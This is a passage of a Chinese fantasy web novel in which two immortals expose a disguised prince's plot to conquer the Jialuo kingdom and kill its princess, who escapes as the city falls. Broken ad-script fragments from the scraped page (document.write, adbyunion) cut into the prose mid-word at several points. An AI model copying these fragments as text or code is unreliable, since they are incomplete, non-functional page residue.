“这月十五,本定由你带公主返回大周,后定婚期。” 摇光,这是摇光的声音! 扶西扯了扯献流,示意他也来听。 “我会同公主商议这月十五从宫中出逃,到时候里应外合,率先击破王廷,控制国主与王后。” “好,就照主人所言。” 新声音,居然还有一个人。 薛介努了努嘴:“那公主呢?你怎么与她解释,她这么相信你。” 无声,寂静。 半晌,扶西才听见摇光那颤抖又坚决的四个字。 “一并,诛,杀。” 扶西听到此处,双眼瞳仁一缩,立时捂住自己的嘴巴以免发出声音。 好狠的男人…… 献流自然也听到了,他顿了顿,手背也有青筋起,他不自觉地把手扶到腰间,却落了个空。 对啊,他的剑没了。 那雄浑的嗓音又出声:“我在宫内明里暗里找过几次,还是没发现书兰公主的尸首。”他顿了顿,似乎是在斟酌,“殿下,还要找吗?若在此事上耗费太多……” “继续找!”摇光声含愠色,音调也拔高了,过了会儿,他意识到自己失态,忽而缓和下来,“辛苦将军了,若非要将姑姑尸骨带回安葬,我也不必做此伪装,先前的线索不足,我还会再找的。” “好,殿下宽心。” 扶西只觉得自己再听不下去了,如此大事,还是找到曼吉一一告知才是。 可怜她一往情深,居然被瞒得死死的。这摇光好好的殿下不做,偏偏扮成个身世凄惨的猎户子,搭配上一张人畜无害的脸。 嚎上两句,石头都得心软半分。 扶西收回耳朵,缓缓起身,拉着献流就轻手轻脚地走。 她先上前打开房门,没来得及看外头一眼,便回过头来抬手招呼献流:“走走走!” 献流却杵在原地,一脸的为难。 扶西不明所以地偏了偏头,直觉身侧似有火喷。 她屏住呼吸,缓缓转回去,只见门口四人一字排开,无一不是目光灼灼,暗含杀机。 扶西立时把门又关了回去。 “完了。”她额头有汗珠渗出。 献流却走过来,沉稳的步伐迈至门前,一把将扶西薅到自己身后。 “砰——” 有人暴力撞开了房门。 摇光站在中间,刘时与那唤摇光为主人的分立两侧,薛介立在最边上,站得吊儿郎当。 “二位听得舒坦吗?”先开口那人名叫胡允,他话才说完,就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 愣住了,“怎么是你们。” 早知道不给他们钱了。 扶西从献流肩膀后头探出个头来:“我们原本是打算来谢你的……” 摇光打量胡允一眼,并未多言。 刘时迈着四方步,眼神睥睨:“还以为方才你们就遁地走了,这算什么神仙,怕是连我也打不过。” 摇光却偏着头,坚决不正视两人,尤其是献流。 “你们怎么会到这里来?” 按理说,两个道士,应当静心修行,踏足这喧闹玩乐之所,属实无理。 可转念想到献流那句炸裂天际的话,师徒私情,罔顾人伦,又觉得这一切还算合理。 “你们同这北境蛮夷又有什么区别?”摇光冷冷道,尽管他中气十足,可歪着头,怎么看怎么别扭,气势上又弱了几分。 扶西:“你一个骗子,也好意思同我们理论。” 刘时听完就要上前,却被薛介拉住:“你真打死他们,国主知道了怎么办?” 刘时收回拳头,是了,这两人现在可是所谓的活神仙……战事未起,国主仍旧最大。 “摇光!你心虚什么,为何不敢看我们?”她拍了拍献流的肩膀。 献流身子一僵,便紧绷着走出房门外,转了个弯,用尽十二分力气企图与摇光对视。 他躬着腰,歪头望着摇光。 摇光高高昂起下巴,也跟着献流转起圈来,竭尽全力避免对视。 扶西在里头指挥:“你直接上手,抓他的头。” 周围几人都对这奇异的举动若有所思,竟一时被惊得愣在原地,不曾上前。 献流一只手缓缓抬起,他咬着牙,用另一只手去按住,两只手就这么莫名其妙地在空中对峙起来。 他真不想碰…… 扶西实在忍不了,她跳出去,高高跃起,一把按住了摇光的脑袋,掰了回来。 不想,摇光竟闭上了眼睛。 “你们别挣扎了,先留你们几天,等这月十五,就送你们去见天王菩萨。”他紧紧闭着眼睛,摸索着方向转过来,立在房前。 刘时握紧了拳头,胡允将手绕到背后的剑匣上。 薛介装模作样地翘了个兰花指,看着还挺像是要向二人施法的架势。 扶西同献流步步后退,献流拦住她:“我打出去就是!” “别!”扶西按住他胸膛摇了摇头,想起九尾的话,“千万别,受伤了怎么办!” 献流呆在原地,脸颊不合时宜地窜上一片温热,喉头上下动了动:“那,那就这么等着……” 摇光听得撇嘴,这师徒二人真是不知羞耻,都这种时候还有心情调情?! “十公主!”扶西大喊一声,“您怎么也来了!” 摇光听完猛然睁开双眼,脸色立刻变得焦灼起来,在与献流目光相触的一刹那,即便明白这是个骗局也来不及了。 他膝盖一软,就这么跪了下去。 惊呆了旁边的手下们。 他咬着后槽牙,深吸了一口气,以极快的速度磕完三个响头就跳了起来。 他指着两人即将跳窗的背影破口大骂:“给我抓住他们!” …… 一回头,手下们正不明所以地学着他的样子跪倒在地,刚磕完头,正抬着两双疑惑满满的眼睛看着他。 殿下都跪的人,他们岂敢不跪。 “愣着干什么!追啊!” 刘时冲出去半截,又跑回来捡起地上掉落的发冠。胡允也直起身子握住剑柄,起身时还绊了两下才顺利跑出去。 22. 臂力了得 刘时来到窗前,望着窗框里的景致,猛的刹住了脚步,紧随其后的胡允还没反应过来,径直撞到了他的背上。 “殿下。”刘时转过来,“您看。” 摇光只觉得头脑发昏,怒气上涌,迈着烦躁的步伐上前,他也随着手下们望出去。 这房间外头正是热闹繁华的街市,人来人往,熙熙攘攘,叫卖的,摆摊的,似乎叠成密密麻麻的一层。 仔细望去,二人已不见了踪影。 摇光拍了拍窗框,咬牙切齿:“江湖骗子!” “这么短的时间竟就消失得无影无踪……”刘时收回探出去的身影,“莫非这二人当真有些本事?” 想到此刻并非追捕的好时机,刘时同胡允关了窗,忍不住朝摇光发问:“殿下,我有一事不解。” 摇光不耐烦:“不是我自愿跪的。” 胡允愣了愣:“他们逼您了!”他阔步朝前,一脸的愤愤不平,“殿下只管说,属下愿意为您分忧。” 摇光叹了口气:“我也不知,自与他初见,目光相触,便忍不住下跪磕头,否则就起不来。” 再过了今日这一遭,摇光越发觉得这男人定是对他施了什么咒术,莫非当时第一面,他的身份就被识破了,所以那男人以这样的方式来警告他? 胡允思索了会儿:“殿下,也不是没可能。” 刘时点点头:“计划意外暴露,我们得快些了。” 摇光的手指点在桌案上,随着心跳的节奏间断动作。他面色凝重,英气的剑眉蹙起,一双如墨的眸子染上愁色。 “殿下,北境布防已成,不过是一声令下的事。”他催促着,忍不住上前了两步,“您还在等什么?” 胡允似乎看出他内心的纠结,劝了句:“殿下,当以大局为重,待扫平王廷,翻个面也要把书兰公主的尸首翻出来。” 摇光紧咬的牙关缓缓松动,他望向那扇紧闭的窗,坚定的目光掺杂了一丝痛苦:“那便今夜动手。” “那两人即便是现在去王宫揭发,准备的时间也不够。你们按原先的计划四处伏兵,我先进宫一趟。”言罢他转身就要走。 刘时拉住他,目光里竟带了些责备:“殿下,您还去王宫做什么?莫非,您还要去见……” 他未再说下去,而在场所有人都心知肚明。 胡允:“不如不用再说与公主私奔之事,直接杀进宫中算了!” 摇光顿时错了呼吸。 “我不过前去试探,并无他意。”他疾步向前,离开了包厢。 剩下三人面面相觑,胡允注意到不发一言的薛介,抬手指着他:“你为何不劝劝殿下?” 薛介玩着指甲,漫不经心:“这我哪里劝得住,我还怕他一剑劈了我。”他站起身来抖了抖轻飘飘的衣裳,“后面的事你们玩儿吧,我先去避避,刀光剑影,血流成河,我害怕。”言罢他立时推开房门,变成一只小蜘蛛爬走了。 刘时与胡允也互相告别,快速离去,按之前的部署前去点兵,力争在天黑之前安排好一切。 房间终于彻底安静下来。 扶西的声音因为手臂快脱力颤抖起来:“是不是都走了?” 献流点点头:“嗯。” 原来方才两人翻出窗外,并未离开,而是悬挂在窗台下头,恰好在几人视线范围之外。 可能是因为紧绷的精神霎时放松,扶西的手指过电一样抖了抖,整个人就往下坠去。 下意识地,她不敢大声呼救,而是连忙捂住嘴巴防止发出声音。 献流见此情形,立刻松了手,眼疾手快地跃下来,身体像一只离弦的箭,他的手臂划过一个流畅的弧度,温暖宽大的手掌恰好托住扶西的腰。 扶西得救,一双眼睛亮起来,她撒开手,十分自觉地搂上献流的肩膀借力,可惜她体术不好,在空中翻了个跟斗以后,还是掉在了房顶上。 真是不幸,她居然是被献流当肉垫的那个人。 献流直起上半身,显然很是吃惊,扶西若是乖乖顺着他的动作,哪里还会摔倒。 他眉头不大舒展,眸子里却并没有责怪的意思,况且两个人这样靠在一起实在不成体统。 扶西自然也意识到了这一点,才费力地抬起脖颈,目光里就撞进一个老熟人来。 原来是走出酒楼的刘时,他自觉浑身难受,于是便调转方向,来到酒楼的背面,看着他们方才所在包厢的窗户。 扶西心头猛跳,望着渐渐直起上半身的献流,立刻以此生最快的速度抬手捞住他的脖子,用力将他整个人按了回来。 献流不明所以地睁大眼睛,柔软的脸颊搁在扶西的肩膀上,鼻尖依稀可闻她身上清淡的木香。 他下意识地想起身,却又被扶西死死按了下来。 “别动。” 完了,这下真动不了了。 他呼吸逐渐变得急促,被扶西按住的地方隐隐发烫,可偏偏他动不了半分,无法将自己从越来越浓的木香中脱身。 他的脸,也烫起来了。 刘时蹙着眉观察窗户。 关着。 他晃了晃脑袋,只道这些天时时忙碌,应当是出现错觉了,不然怎么感觉刚才似乎看到了一截衣袖。 他转身离开。 扶西松了一口气,立时将手松开,全然忘了被自己命令定住的献流,直接挪了挪脑袋从另一边站了起来。 献流感受到脸颊旁稍稍有些硌人的肩膀霎时挪开,他的脸朝下摔了个结结实实,两只手还五只张开,青蛙似的攀在房顶上。 木香消失殆尽,狂跳的心脏几乎归于寂静,滚烫的脸颊也凉了下来。 扶西哎呦一声,立刻蹲下来:“动吧动吧,快起来吧。” 献流终得解脱,面无表情地起身,抿了抿唇,还是没忍住:“你方才……” 扶西抬手打了一下他的手臂:“别方才了,差点被发现了,我们快走吧!” 献流:“哦,嗯。” 她扯住献流的手腕,拉着他跳下了房顶。 * 摇光立在这个自己每夜都翻的宫墙前,一时间踌躇不定。 在无数个相似的夜里,无月无星,他跳过宫墙,熟门熟路地避开士兵的巡逻,来到曼吉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的窗前。 白天,似乎还是第一次。 他屈起手指,在曼吉的窗外轻轻敲了四下。 “刷——”曼吉打开窗户,在看清来人后,蓝宝石一样的眼睛顿时亮了起来。 “摇光,你怎么来了?”她往里头退了一点,“你快进来!” 摇光笑得有些勉强,看着曼吉的反应,想必那道长还没来得及通风报信。 曼吉轻轻拉住他的手,没再多问,而是语气欢快地指着桌案上的纸笔:“你看我写的字!” 摇光走过去,拿起一张仔细看起来,原来是从前教她的中原字——长生。 “我会写我的名字啦!怎么样,本公主厉害吧!”曼吉在屋子里转起圈来,像一只欢快的蝴蝶,各式首饰丁零当啷地撞在一起,发出的声音清脆悦耳。 摇光捏着纸张的手指却越来越用力。 饶是曼吉再迟钝,也反应过来摇光低落的情绪,她凑上去,用小手指轻轻勾了勾他的掌心。 “你怎么了?不高兴吗?” 曼吉抬起头,眼睛水汪汪的,一派天真无邪。 摇光放下纸,避开她的眼睛:“没有,我只是忽然想你了。” 曼吉听了一张脸霎时通红,在她看来,中原人大多含蓄,先前摇光同她在一起,总是拐弯抹角地说些什么不要嫁给四皇子,要不要和他一起从山坡上飞下去。 曼吉垂下头,害羞道:“其实我也挺想你的。” 摇光愣了会儿:“你写的还是有点不对,不然我再教教你。” “好啊。”曼吉上前铺开纸笔,乖顺地坐在案前,记着之前摇光教的,执笔,蘸墨,写字。 忽然,摇光从背后圈住她,温暖的手掌包裹住她的手指,轻却韧的力量带着她的手和毛笔在宣纸上游走,一提一顿,“长生”二字似乎都快从纸里跳出来了。 曼吉咧嘴笑出来:“摇光,你字写得真好。” 摇光点了点头,又继续握着她的手在纸上着墨,不一会儿,长生二字已经快将纸填满了。 他望着黑色的一撇一捺,仿佛在对他发出无声的嘲弄,耳边回荡着自己在酒楼说出的四个字,他的心脏剧烈地跳动起来。 长生? 诛杀? 他手掌忽然脱了力,莫名地感受到一阵巨大的疼痛,他趔趄着后退,望着掌心里脏污的墨迹摇晃着分做两半,最后变成鲜红的血。 他抬起头,看着朝自己走过来的曼吉,她浑身是血,嘴唇一张一合。 摇光却觉得脑海中只有嗡嗡声响,根本听不清她在说什么。 “摇光!” 他忽的清醒过来。 曼吉担忧地为他拭去额间的冷汗:“你怎么了?” 摇光喉头微动,声音也变得沙哑,后背渗出的冷汗被风带走,只留下一片凉意,他重重地捏住曼吉的手腕:“曼吉,现在,就跟我走,好不好?” “现在吗?”曼吉捧住他的脸,“你究竟怎么了?” 摇光却抓得更紧:“走吧,曼吉,什么都别管了,什么都别要了,今夜之前,你跟我离开伽罗城吧!” 23. 入梦?托梦? 曼吉望着摇光越来越红的眼眶,心中诧异渐渐涌了上来,她以为摇光是碰到了什么麻烦,依旧还是关心备至地询问:“你怎么了?” 摇光不答她话,反而道:“殿下,你应当累了吧?” 曼吉摇了摇头,身体下意识地往后避去,她缓慢后退,最后依着直觉转身奔跑,可还是被摇光紧紧拉住。 摇光的手臂卡在她的颈前,力道虽大,可还能容她自由呼吸,她于是抓住他手臂往外用力:“摇光,你,你这是在干什么?” 摇光缓缓阖上眼睛,一个手刀下去,曼吉便晕倒在了他的怀里。 摇光把人放在榻上,又仔细看着她紧蹙的眉头,手指头轻轻抚过。 “殿下,睡个好觉吧。” * 曼吉果然沉沉睡去,昏昏沉沉的脑袋重达千钧。 她费力地掀开眼皮,面前有一座恍若高山的庞然大物,迷雾退去,才看清是连绵到天际的建筑群。 还不等仔细看看,身旁的景象又迅速地变化起来,她望着自己不断旋转的脚尖,忽然反应过来,她又在廊下跳舞了。 旋转的裙摆样式不一,五彩斑斓,眼看着鞋尖逐渐变大,她感受到自己的视线也在慢慢上升,过了一会儿,便有一股极其热烈的风出来。 “吼吼吼——” 喧闹的人群,哒哒的马蹄声,她反手摸到背上的箭匣,拉弓搭剑,羽箭破开长风,颤抖的羽毛在风中摇摆,最后正中靶心! “哇——啊——” 她听见自己欢呼雀跃的声音,还来不及接过父王递过来的彩幡,她忽然变作了羽箭上的一滴水。 快速行进的箭矢穿破靶心,一瞬间有如破冰,耳边是清晰可闻的碎裂声,草原的景象像一面铜镜霎时支离破碎。 耳边刮过呼呼风声,她感受到腰间温暖的触感,低头一瞧,是夜色里的伽罗城。灯火绵延,人声喧闹,高空俯瞰,竟是如此新奇的感觉。 “殿下……” 耳边响起一个熟悉的声音,曼吉脑袋轰的一下,她抬起头,看到摇光垂下来的目光。 她终于反应过来,这是在梦里,方才,几近泪流的摇光打晕了她。 “摇光,你到底有什么瞒着我?” 摇光却没想到她会说出这样的话:“殿下,我并没有什么瞒着您的,怎么,您不喜欢这景色吗?”说到这里他的眸间染上了一层委屈。 忽然,巨大的鹰翅在风中招摇起来,原本有序的行进方向霎时乱作一团。 摇光手忙脚乱地去整理,还一边自言自语:“怎么回事,明明就是这么用的……”他戳了好几下肩膀上的机关,依旧没法改变鹰翅摇摇欲坠的现状。 殊不知,在他抬手的时候,曼吉已经失去了依仗,从高空直直坠下。 比方才凌厉了不知多少倍的风势,曼吉觉得自己的身体似乎变得特别轻,她抬起手,望着远处那个越变越小的人,他仿佛真的变作了一只苍鹰,只顾盘旋,而忘了快速坠落的自己。 曼吉的心中仿佛被针扎了一下,她怎么会做这样的梦呢? “砰——” 她的身体撞破七彩的琉璃穹顶,搅起地上散落的花瓣,几乎贴到地上的瞬间,整个身体忽然被一双有力的手掌抱了起来。 还是摇光。 他身上巨大的鹰翅在缓慢地扇动,穹顶投下的光束时隐时现,扎进曼吉的眼里。 落地之时,摇光退后好几步,颇有些抱歉地看着她。 “十公主——” 这人的声音也十分耳熟,曼吉被她吸引过去,原来是正在宴席上的扶西师徒二人。 扶西从食案后头转过来,一张小嘴喋喋不休。 “公主,你千万别被他骗了!”扶西面色焦急,眉头紧蹙,“此人并非善类,他不是什么猎户之子,他就是中原来的皇子!” 此言一出,恍然落石投水,激起千层浪。 “老几不知道,但你千万别相信他,他都是骗你的。” “时间快到了。”身旁的献流开口提醒。 扶西语气更焦急了:“他要攻进王廷,还要杀了你,你千万小心啊!” “我撑不住了……”献流眉头紧锁,隐隐有冷汗渗出。 “走了走了!你多加小心——” 曼吉伸出手去,还来不及多问几句,方才还大声说话的师徒二人已经归位,正在小声交谈,说的正是葡萄美酒。 周围的一切又恢复了原本的样子,似乎所有人都记不得扶西说过的话。 “是我冒犯了公主。”摇光朝她低头。 曼吉的心脏剧烈地抽动起来,她觉得自己的意识似乎在脑海里横冲直撞,而身体却像石头一样僵硬。 她痛苦地捂住脑袋,身体缓缓地朝地上倒去。 * 扶西搀扶着献流踏出曼吉梦境,望着旁边人愈加苍白的唇,忽然有点担心起来。 她拍了拍他的背给他顺气,脸上是难得的担心:“你没事吧?不会死了吧?” 献流闻此,反倒发出一声轻轻的笑:“我哪有那么容易死。” 两人又坐回枯草丛里,自逃出来,他俩哪也不好去,回宫里怕被摇光恶人先告状,睡客栈怕被抓走,思来想去,还不如来圣湖这边。 “那我就放心了。”扶西放开手,叹了口气,“我们两个堂堂的神仙怎么能这么没出息呢?托个梦都要累个半死。” 献流捂着有些发烫的胸口,只觉得哪里不太对劲,可又说不上来。 “我先休息会儿。” “好好好。”扶西这时候很是开明,暮色将至,她可太害怕小贼头上又长出草来了。 此刻紧急,她拖着个傻子怎么办事…… 又想到方才在曼吉梦境中所言,扶西难免愁起来,梦境向来虚虚实实,难辨真假,她们无法即刻当面与她说清,只好在梦里提醒。 也不知曼吉有没有相信。 说来也怪,他们也只是试一试,没想到大白天,曼吉真的在睡觉。 圣湖这边巡逻的士兵渐渐多了起来,扶西顿感不妙,只得推了推献流。 两人对视一眼,跳进了湖里。 湖里视线不大清晰,扶西抬手朝湖心石台的地方指了指,两人便一前一后缓缓游过去。 露出水面的时候,扶西忍不住拍了拍石台:“日夜给你渡仙气,就是十一小侯也没这样的福气,你怎么还不动一动啊?” 扶西爬上石台,将献流也拉了上来。 昏黄的霞光下,扶西浑身湿透,难受得要命,她抬起袖子拧了拧水,忍不住又拍了下石台。 “轰——” 两人左右摇晃了一下。 扶西面露喜色:“好石头,你有生气了?” 石台又左右摇了一下。 扶西忍不住去拉献流的手,上下舞动起来,一张脸就差喜极而泣了:“你看,你看,这石台真活了!” 献流点了点头,没做出太大的反应,身上湿漉漉的衣裳被风吹过,激得他脑袋昏沉。 再想施术干身,实在没力气了。 “啊嚏——” 扶西收回手,抖了抖。 献流望过去,勉强抬起两个手指,过了一会儿,扶西身上的衣裳便干透了。 她惊喜地望着献流,忍不住用肩膀打了打他的:“算你讲义气!” 不料只轻轻一碰,这献流便就势一倒,差点掉进水里。 扶西眼疾手快地将他拉回来,下意识先将手放到他鼻下感受了一会儿。 活着,活着就好。 扶西让他平躺着,估计这样会好受点,旁边的红生似乎有所感悟,杯身松动了点。 “你们来了呀!” 扶西点点头,又重重摇了摇头:“今夜怕是渡不成仙气了,这家伙晕过去了。” 红生失望地啊了一声,继而道:“无妨,明日再说吧。” 扶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 西面色为难:“我们就是怕等不到明日。”她心虚地笑了两声,“我们撞破了大周皇子的骗局,这会儿他指不定派了多少人来杀我们。” “大军压境,加罗国怕是要遭难了。”扶西望着天空,深深地叹了一口气。 虽说与十公主交往不算亲密,可扶西还是不忍心看她这样被骗,若被旁人骗就算了,被喜欢又信任的人欺骗,这也太让人唏嘘了。 她气得紧了:“摇光不要脸,怎么能这么骗人呢?”说到此处,她忍不住重重向下拍去,手掌却触到个冰凉的掌心。 她缓缓回过头,一切的焦急难耐都在看到献流头上招摇的草芽后消失殆尽,化作了绝望。 完啦!这下彻底完蛋啦! 日落西山,献流看着远处的霞光,眸子映着暖黄色的光,他把扶西的手掌托回去,郑重其事道:“又到夜里,该去给石台渡仙气了。”言罢就要跳下去。 扶西拉住他:“不不不,今夜不渡了,今夜你的任务就是好好待在这里,若有人来,不要动。” 献流不解:“为何?若不渡仙气,红生如何解脱?” “要渡,只是今夜不渡!”扶西一个头两个大,“你瞧瞧自己身上还有仙气吗?” 献流抬手,沉默了一会儿摇摇头:“没有了。” 他眸色不解,过了会儿又反应过来,朝着扶西微笑:“入梦是我自己的主意,不怪你。” 心中所想忽然被他看破,扶西的眼睛眨巴地越发快了。她摩挲着衣袖朝他招手:“趁着夜色,我们匿在这里,若有人来抓,也好躲过去。” 石台挺高,红生杯身后有个角落,若夜色漆黑,藏一会儿也不成问题。 远处传来吵闹声,还有兵戈相撞之声,扶西身子立刻绷紧,警惕地望着湖面上朝湖心缓缓驶来的船只。 她焦急起来。 赶忙拉着献流伏在石台上,大气也不敢喘。 有船只缓缓接近。 “殿下有所不知,这两个贼人每日夜里都会以巡查为由肆意接近圣湖之眼,谋夺上天赐予圣湖的福气,以求长生不老,青春永驻!”说话的人正是摇光,“若非我偶然发现,大家都要被骗了!” 他说得义愤填膺,煞有其事。 圣湖之眼是加罗国重中之重,乌特来此湖心,也是为了确认圣湖之眼是否安然无恙。 看上去没什么问题啊…… “殿下,薛介可为我作证。”他振振有词,目光紧紧地盯着乌特,眸色有异。 薛介不知从哪冒出来,他盈盈一拜:“殿下,小人也略通修行之事,这扶西师徒二人并没本事叫圣湖重生湖水,而是不管那天谁来了,这湖水都会重新出现的。” 乌特蹙着眉。 薛介见状,轻轻掠起,蓄足了力气往红生杯身上重重击了一掌。 红生吃痛,立即痛哭起来,眼泪不要命地涌出来,溅了乌特满身。 薛介悬在半空,恰好同扶西与献流的眼睛对在一处,他滞空的脚尖莫名滑了滑,差点跌进水里。 献流转过头,凑到扶西耳边讲话:“这人,很讨厌。” 扶西敷衍地点点头,动作不敢太大,只将手指放在唇边示意献流别再讲话。 摇光望着薛介的反应微微一笑:“我敢笃定,这二人贼心不死,定然在这圣湖周围。”他眸色闪闪,微微抬起头,手指一指,“莫不是,就在这石台之上……” 扶西屏住了呼吸,蹙起眉头。 乌特长袖一甩,怒气冲冲,两个中原来的道士,居然将他们玩弄于股掌之间! “给我找!抓到以后立刻丢到大狱里!” 摇光松了口气。 正当他踌躇满志之时,湖水忽然剧烈地晃动起来,几人的船只被涌起的浪推开。 平静的湖面涌起波涛,一时间地动山摇。 然后他们看到了毕生难忘的一幕。 圣湖之眼, 站了起来?!!!! 24. 给我射穿他们的腿! 摇光稳住身形,眼神锐利仿若鹰隼,他在乌特旁边缓缓抬起手。 霎时有数十个黑衣人从波涛汹涌的湖水中现身,均是泅水的好手,浪花也搅不乱他们的身形。 不一会儿,乌特带来的人尽数被杀。 乌特在船只上左右颠倒,他腰圆体胖,攀着甲板才勉强稳住身形。 正当他窃喜之际,手指上忽然传来剧烈的痛感,他五官扭曲在一起,望着船头上低头看他的摇光。 他的脸庞只有半天露在火光里,微微眯起的眼睛里满是不屑与敌意,纵使船头摇晃,他也稳如泰山。 “大王子。” 乌特愣住,破口大骂:“你这个贱货!神明一定会惩罚你的!” “惩罚我?”摇光微微笑着,转而抬起手指,水中黑衣人受命,一拥而上,将乌特用绳索紧紧捆住,拽进水中,又拽出水面,如此循环往复。 有人露出头:“殿下,他晕过去了。” 摇光慢慢站起来:“带好了,关到大狱里,事后一齐清算。” 石台只站起来后便定住不动了,扶西和献流方才没稳住,此刻正在边缘晃荡。 还是挺明显的。 摇光处理了乌特,终于考虑上他们了。 石台站起来后,露出水面的部分足有四五人高,扶西紧紧阖上眼睛,转头与献流商议:“不如跳进水里躲避?” 献流却缓缓摇头:“可是他水里也布了黑衣人。”他面色平静,似乎并不恐惧,“我们会死吗?” 扶西笑得比哭得还难看。 “不会死,就是受罪……” 摇光盯着他们许久,就这么一会儿,石台旁已聚集了不少船只,每艘船头还立着四五个背着弓箭的士兵。 摇光不慎又与献流对视上了。 他跪倒在船头,勃然大怒地磕了三个响头,抬手愤然道:“给我射穿他们的腿!”一声令下,箭雨如风,密密麻麻地朝两人射来。 献流晃着长草的脑袋,思索了一会儿放开手,揽起扶西的腰,灵活地在密如雨丝的箭矢中躲避。 扶西脸上终于露出一丝肉眼可查的欣慰,她在旋转的间隙里忍不住夸赞献流:“不得了,不得了,小贼你的体术果真不错!” 献流闻此嘴角扬起一个弧度,低头看了看扶西:“多谢。” 摇光蹙起眉头:“给我加人手。” 箭比方才更密了,还有几只飞速扎到了红生杯身上,他痛苦出声,又有许多湖水涌出来。 献流抱着扶西踮脚落在石台之上,面对四面八方成团飞速而来的羽箭丝毫不曾畏惧。 箭越来越近。 扶西紧张地抓住了他的衣角,这人怎么不避了。 献流镇定自若地抬起手掌,自丹田运气,循着记忆中的习惯调动身体筋脉,往常那种炽热的感觉并未传到指尖,他歪过头,有些疑惑。 “刷刷刷——” 羽箭破开长空,将他扎成了刺猬。 献流吃痛,膝盖一软,哐地跪倒在地。 遭了,忘了自己没有仙气了…… 扶西还来不及反应,面前的箭雨也将她扎成了筛子。 “咳咳——”倒地的时候她唇角溢出两口血,恰好倒在献流对面。 “你想说点什么吗?”扶西面无表情,只觉得身上像漏了气的球,温热的血像水似的往外淌。 献流蹙起长眉,勉强扯出一个笑容:“好像有点疼……” 摇光见两人中招,眼睛瞬时亮了起来,他摆手:“不论死活,关进大狱,我一一清算。” 扶西疼得龇牙咧嘴,在昏过去之前,只感受到身体下方的冰凉震动了几下,自己便悬空起来,手脚剧痛,眼皮软得像滩烂泥。 最后的视线,是献流昏过去的脸。 她绝望地想,神仙做到她这份上,真是算完了。 * 曼吉头痛欲裂,额上不断地渗出冷汗,她头小幅度地摇动着,唇齿启阖,却发不出声音。 “不要——” 憋在胸腔中的所有力气随着这一声尽数迸发而出,曼吉松软的身体终于得到解脱,缓缓睁开了双眼。 面前天旋地转,纱幔的式样同自己房中两模两样,她剧烈地喘息着,只觉得身子软得不像话。 曼吉咬咬牙,艰难地从榻上坐起,梦境中的火光喊叫,冲天的杀声刺激着她的耳膜,叫她心脏剧烈地震动起来。 她抬起腿下榻,却直直摔了下去。 房中陈设简单,还熏了一种她从未闻过的香,曼吉挪到案边,一把将香炉打翻在地,半晌才缓过来不少。 终于能站起来了。 她趔趄着走到水盆边,将一张脸都浸了进去。 冰凉的水刺激着她的意识,终于清醒不少。 曼吉终于能好好观察这间屋子了,她目光从上到下,从左到右细细看了一遍,看了看案上留下的字迹,图纸一干物件,终于确定。 这是摇光的屋子。 不一定是他家里,却一定是他住过,且是常住的地方。 她脑袋轰的一下,想起梦中扶西所言,又记起自己被摇光劈了后颈。 她睡了多久?! 曼吉跑到门口,拉开门拴就想开门,哐哐两下才反应过来这门已从外头锁住了。 她居然被关了起来! 外头突然有焦急的脚步声。 曼吉回过神来,将打翻的香炉藏在桌下,用脚扒拉了几下香灰,立刻躺回榻上去。 不一会儿,门果然开了。 来人说话有浓浓的的鼻音,似乎是用帕子捂着口鼻:“这不是睡着呢?” “我真听见声音了。” “怕不是你听错了?”窸窸窣窣的声音,“这软骨香厉害得很,她少说得睡到明晚,别疑神疑鬼了。” “好好好,我这不是怕殿下怪罪。” “放心,跑不了!” 门又被锁上了。 曼吉缓缓睁开眼睛,心中思绪万千,来不及整理,她跳下床榻,在屋子搜寻起来。 窗户也被封上了。 她凑到窗前,就着缝隙看了下,是个二楼,楼外的街道上火光冲天,叫喊之声不绝于耳。 她注意到角落里那个木盒子,若是没记错,摇光的鹰翅留在里面,平日他都是用这东西带出来的。 曼吉用蛮力打开,果真见到了折叠的鹰翅并一些工具,她捡了个锤子小心翼翼地破开封住的窗户。 曼吉估摸着二楼的高度,思索了会儿,戴上了鹰翅,按动开关,义无反顾地跳了下去。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她不大会操控,落地时还结结实实摔了一跤。 街市上闹哄哄的,大家四走奔散,曼吉抓住一个人开口就问:“这是怎么了?” “大周北境军杀进伽罗城,还不快逃难,等着死吗?”她扒开曼吉的手,抬着包袱往前跑去。 火光中,曼吉的瞳仁快速一缩,她喉头动了动,以最快的速度收好鹰翅,朝着王宫的方向在街市上奔跑起来。 她先是不停地跑,后来抢到一匹马,来到宫门附近时,已是尸横遍野。 满身是血的人里,有几个还是今早跟她讲过话的人,不过几个时辰,就没了生机。 她紧紧地捂住嘴唇,尽量让自己不要哭出来。 王宫之外,已有穿着中原甲胄的士兵在巡逻,战事早已接近尾声,曼吉的眼泪流得更汹涌了。 父王呢?母后呢?兄长们呢? 她腿下一软,扶着墙都快跌倒在地。 好在她迅速调整过来,立刻循着平日偷溜出去玩的路线往王宫中赶,她回自己家,熟门熟路,并未惊扰巡逻的大周士兵。 正殿之外,立着那个大周四皇子刘时,他兵甲齐全,脸颊上沾着血,怒目圆睁,满是献血的长枪立在身侧。 “李将军,国主王后一干皇室已押至大狱,等待殿下发落!”有人上来给他汇报。 李将军?!他不是刘时! 曼吉将身影匿在树后,缓缓后退几步,朝着大狱行进。 一路上血流成河,刺鼻的腥气在她鼻腔中横冲直撞,她望着地上的尸体,眼泪流得愈发厉害。 可愣是没让自己出声。 她在路上剥掉一个死去大周士兵的甲胄,穿戴在自己身上,以平生最快的速度赶往大狱。 可是,她不禁想,即便去了那里,她又如何将他们救出来呢? 转念一想,既然不能一起活,一起死何尝不可。 她又想起扶西所言,脑海里急切地想求证,是不是到狱中,真能见到摇光,他果然,是大周的皇子吗? 装作一个身世可怜的猎户之子接近自己,他可真是下够了血本。 大狱之前,似乎是士兵换班,曼吉深吸一口气,悄然跟到队伍的末尾,又在迷宫一样的弯弯绕绕里悄悄离开。 她快步行在甬道内,一双眼睛焦急地望着牢狱两侧关押的人,大多鲜血淋漓,不省人事,脸上糊得不成样子,根本看不出是谁。 她越发揪心了。 “这箭拔了就不停地流血。” 是南疏道长的声音! “啊!你怎么给我插回去了?!” 是扶西道长的声音! 